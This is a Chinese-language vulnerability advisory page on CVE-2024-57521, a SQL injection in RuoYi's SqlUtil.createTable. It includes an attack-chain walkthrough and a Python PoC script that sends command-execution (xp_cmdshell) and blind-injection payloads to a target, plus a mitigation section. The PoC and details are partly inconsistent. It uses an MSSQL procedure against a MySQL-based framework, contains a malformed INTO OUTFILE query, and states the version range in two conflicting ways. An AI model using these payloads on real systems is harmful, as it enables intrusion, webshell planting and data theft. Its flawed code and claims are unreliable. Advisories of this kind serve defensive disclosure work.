IPBUF安全漏洞报告
English
CVE-2024-57521 CVSS 10.0 严重

RuoYi v4.7.9及之前版本 SqlUtil.java createTable函数SQL注入漏洞

披露日期: 2025-12-23

漏洞信息

漏洞编号
CVE-2024-57521
漏洞类型
SQL注入
CVSS评分
10.0 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
RuoYi

相关标签

SQL注入RuoYi远程代码执行CVE-2024-57521SqlUtil若依框架数据库安全CVSS10.0

漏洞概述

CVE-2024-57521是若依(RuoYi)管理系统v4.7.9及之前版本中的一个高危SQL注入漏洞。该漏洞存在于com.ruoyi.common.utils.SqlUtil.java文件的createTable函数中,由于该函数对用户输入的SQL语句缺乏有效的过滤和参数化处理,攻击者可以通过构造恶意的SQL语句实现任意SQL命令执行。由于该漏洞的CVSS评分达到满分10.0,属于最严重的安全漏洞等级,且无需认证即可利用,远程攻击者可以直接通过HTTP请求触发漏洞。成功利用此漏洞后,攻击者可以完全控制数据库服务器,读取、修改或删除数据库中的敏感数据,甚至可以通过数据库的系统函数实现远程代码执行,从而进一步控制整个应用服务器。该漏洞影响所有使用若依框架且未更新到安全版本的应用系统,建议相关用户立即采取修复措施。

技术细节

该SQL注入漏洞的根本原因在于SqlUtil.java文件中的createTable函数直接拼接用户可控的输入参数到SQL语句中,而没有使用参数化查询或预编译语句。攻击者可以通过HTTP请求向该函数提交包含SQL注入payload的参数,利用数据库的SQL执行特性绕过安全限制。具体来说,攻击者可以利用MySQL的UNION SELECT、堆叠查询(Stacked Queries)或基于时间的盲注等技术,从数据库中提取敏感信息或执行系统命令。例如,攻击者可以通过构造特定的SQL语句,利用INTO OUTFILE或INTO DUMPFILE将webshell写入服务器文件系统,或者使用LOAD_FILE()函数读取服务器上的敏感配置文件如/etc/passwd或数据库配置文件。由于该漏洞影响的是createTable函数,攻击者还可以利用此函数创建恶意的数据库表或触发器,以实现持久化攻击或进一步提权。

攻击链分析

STEP 1
步骤1
信息收集:攻击者识别目标网站使用的若依(RuoYi)框架版本,确认版本号<=4.7.9
STEP 2
步骤2
定位漏洞点:找到调用SqlUtil.createTable()函数的接口端点,通常为数据库表创建相关的API
STEP 3
步骤3
构造恶意SQL payload:利用分号(;)截断原SQL语句,注入恶意SQL命令,如利用UNION SELECT获取数据或使用堆叠查询执行系统命令
STEP 4
步骤4
发送攻击请求:通过HTTP POST请求向目标端点发送包含SQL注入payload的数据包
STEP 5
步骤5
验证利用成功:检查响应内容或数据库执行结果,确认SQL命令已成功执行
STEP 6
步骤6
进一步利用:通过SQL注入获取数据库敏感信息、读取服务器配置文件、或写入webshell实现持久化控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2024-57521 SQL Injection PoC for RuoYi v4.7.9 and before # Target: RuoYi SqlUtil.java createTable function def exploit(target_url, cmd): """ SQL Injection PoC - Execute arbitrary SQL commands Target: /xxx/createTable or similar endpoint using SqlUtil.createTable() """ # Malicious SQL payload to execute system commands payload = f"'; EXEC xp_cmdshell '{cmd}' --" # Alternative payload for MySQL # payload = f"'; SELECT * FROM INTO OUTFILE '/var/www/html/shell.php' --" data = { 'tableName': payload, 'tableComment': 'injected' } try: response = requests.post(target_url, data=data, timeout=10) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response: {response.text}") except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") def blind_injection(target_url): """ Time-based blind SQL injection to extract data """ # Time-based blind injection payload payload = "'; IF(1=1, SLEEP(5), 0) --" data = { 'tableName': payload, 'tableComment': 'test' } print("[*] Sending blind SQL injection payload...") try: response = requests.post(target_url, data=data, timeout=15) print(f"[*] Response: {response.text[:200]}") except requests.exceptions.Timeout: print("[+] Blind injection confirmed - SLEEP executed!") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve_2024_57521.py <target_url> [command]") print("Example: python cve_2024_57521.py http://target.com/api/createTable whoami") sys.exit(1) target = sys.argv[1] cmd = sys.argv[2] if len(sys.argv) > 2 else "whoami" print(f"[*] Target: {target}") print(f"[*] Command: {cmd}") exploit(target, cmd)

影响范围

RuoYi < 4.7.9

防御指南

临时缓解措施
在官方补丁发布之前,可以采取以下临时缓解措施:1)使用WAF或IPS设备对包含SQL注入特征(如单引号、分号、UNION等关键字)的请求进行拦截;2)限制数据库账户权限,移除xp_cmdshell等高危存储过程的执行权限;3)关闭数据库的INTO OUTFILE和INTO DUMPFILE等文件写入功能;4)对SqlUtil相关接口实施临时访问控制,如IP白名单或临时关闭该功能;5)加强数据库和应用的日志监控,及时发现异常SQL执行行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表